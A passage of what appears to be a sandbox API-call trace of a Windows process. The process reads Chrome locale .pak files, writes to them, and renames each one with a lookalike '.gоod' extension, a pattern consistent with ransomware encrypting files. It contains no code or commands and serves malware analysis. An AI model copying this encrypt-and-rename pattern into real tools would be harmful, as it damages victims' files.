(x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", lpFilePart=0x0) returned 0x4c [0129.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0129.207] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ru.pak"), fInfoLevelId=0x0, lpFileInformation=0x3673a68 | out: lpFileInformation=0x3673a68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51c78404, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x70754)) returned 1 [0129.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0129.207] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", lpFilePart=0x0) returned 0x4c [0129.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0129.207] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ru.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0129.208] GetFileType (hFile=0x63c) returned 0x1 [0129.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0129.208] GetFileType (hFile=0x63c) returned 0x1 [0129.208] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0129.208] ReadFile (in: hFile=0x63c, lpBuffer=0x3673e80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3673e80*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0129.487] CloseHandle (hObject=0x63c) returned 1 [0129.487] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", lpFilePart=0x0) returned 0x4c [0129.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0129.488] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ru.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0129.488] GetFileType (hFile=0x63c) returned 0x1 [0129.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0129.488] GetFileType (hFile=0x63c) returned 0x1 [0129.488] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x70754 [0129.488] WriteFile (in: hFile=0x63c, lpBuffer=0x35125a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35125a8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0129.490] CloseHandle (hObject=0x63c) returned 1 [0129.490] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", lpFilePart=0x0) returned 0x4c [0129.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0129.490] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ru.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0129.490] GetFileType (hFile=0x63c) returned 0x1 [0129.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0129.490] GetFileType (hFile=0x63c) returned 0x1 [0129.490] ReadFile (in: hFile=0x63c, lpBuffer=0x3514b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3514b10*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0129.538] CloseHandle (hObject=0x63c) returned 1 [0129.538] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", lpFilePart=0x0) returned 0x4c [0129.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0129.538] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ru.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0129.538] GetFileType (hFile=0x63c) returned 0x1 [0129.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0129.538] GetFileType (hFile=0x63c) returned 0x1 [0129.538] WriteFile (in: hFile=0x63c, lpBuffer=0x3513868*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3513868*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0129.538] CloseHandle (hObject=0x63c) returned 1 [0129.539] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", lpFilePart=0x0) returned 0x4c [0129.539] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak.gоod", lpFilePart=0x0) returned 0x51 [0129.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0129.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ru.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x496b7f2d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x70764)) returned 1 [0129.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0129.539] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ru.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ru.pak.gоod")) returned 1 [0129.540] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", lpFilePart=0x0) returned 0x4c [0129.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0129.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sk.pak"), fInfoLevelId=0x0, lpFileInformation=0x3592120 | out: lpFileInformation=0x3592120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51c7f934, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4a4e2)) returned 1 [0129.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0129.540] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", lpFilePart=0x0) returned 0x4c [0129.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0129.540] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sk.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0129.540] GetFileType (hFile=0x63c) returned 0x1 [0129.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0129.540] GetFileType (hFile=0x63c) returned 0x1 [0129.540] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0129.540] ReadFile (in: hFile=0x63c, lpBuffer=0x3592538, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3592538*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0129.542] CloseHandle (hObject=0x63c) returned 1 [0129.542] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", lpFilePart=0x0) returned 0x4c [0129.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0129.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sk.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0129.542] GetFileType (hFile=0x63c) returned 0x1 [0129.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0129.542] GetFileType (hFile=0x63c) returned 0x1 [0129.542] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x4a4e2 [0129.542] WriteFile (in: hFile=0x63c, lpBuffer=0x3593938*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3593938*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0129.758] CloseHandle (hObject=0x63c) returned 1 [0130.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", lpFilePart=0x0) returned 0x4c [0130.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0130.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sk.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0130.304] GetFileType (hFile=0x630) returned 0x1 [0130.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0130.304] GetFileType (hFile=0x630) returned 0x1 [0130.304] ReadFile (in: hFile=0x630, lpBuffer=0x35c4960, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35c4960*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0130.334] CloseHandle (hObject=0x630) returned 1 [0130.334] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", lpFilePart=0x0) returned 0x4c [0130.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0130.334] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sk.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0130.334] GetFileType (hFile=0x630) returned 0x1 [0130.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0130.334] GetFileType (hFile=0x630) returned 0x1 [0130.335] WriteFile (in: hFile=0x630, lpBuffer=0x35c36b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x35c36b8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0130.335] CloseHandle (hObject=0x630) returned 1 [0130.335] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", lpFilePart=0x0) returned 0x4c [0130.335] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak.gоod", lpFilePart=0x0) returned 0x51 [0130.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0130.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sk.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x49e517a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4a4f2)) returned 1 [0130.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0130.335] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sk.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sk.pak.gоod")) returned 1 [0131.704] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", lpFilePart=0x0) returned 0x4c [0131.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0131.704] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sl.pak"), fInfoLevelId=0x0, lpFileInformation=0x38d3ef0 | out: lpFileInformation=0x38d3ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51cc6604, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x42fc9)) returned 1 [0131.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0131.707] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", lpFilePart=0x0) returned 0x4c [0131.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0131.707] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0131.742] GetFileType (hFile=0x640) returned 0x1 [0131.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0131.742] GetFileType (hFile=0x640) returned 0x1 [0131.743] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0131.743] ReadFile (in: hFile=0x640, lpBuffer=0x394a7d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x394a7d0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0131.744] CloseHandle (hObject=0x640) returned 1 [0131.744] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", lpFilePart=0x0) returned 0x4c [0131.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0131.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0131.744] GetFileType (hFile=0x640) returned 0x1 [0131.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0131.744] GetFileType (hFile=0x640) returned 0x1 [0131.745] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x42fc9 [0131.745] WriteFile (in: hFile=0x640, lpBuffer=0x394cdc8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x394cdc8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0131.746] CloseHandle (hObject=0x640) returned 1 [0131.746] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", lpFilePart=0x0) returned 0x4c [0131.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0131.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0131.747] GetFileType (hFile=0x640) returned 0x1 [0131.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0131.747] GetFileType (hFile=0x640) returned 0x1 [0131.747] ReadFile (in: hFile=0x640, lpBuffer=0x3950768, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3950768*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0132.090] CloseHandle (hObject=0x640) returned 1 [0132.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", lpFilePart=0x0) returned 0x4c [0132.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0132.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.091] GetFileType (hFile=0x640) returned 0x1 [0132.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0132.091] GetFileType (hFile=0x640) returned 0x1 [0132.091] WriteFile (in: hFile=0x640, lpBuffer=0x361b0c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x361b0c8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0132.091] CloseHandle (hObject=0x640) returned 1 [0132.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", lpFilePart=0x0) returned 0x4c [0132.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak.gоod", lpFilePart=0x0) returned 0x51 [0132.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0132.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sl.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4af27f11, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x42fd9)) returned 1 [0132.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0132.091] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sl.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sl.pak.gоod")) returned 1 [0132.092] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", lpFilePart=0x0) returned 0x4c [0132.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0132.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files 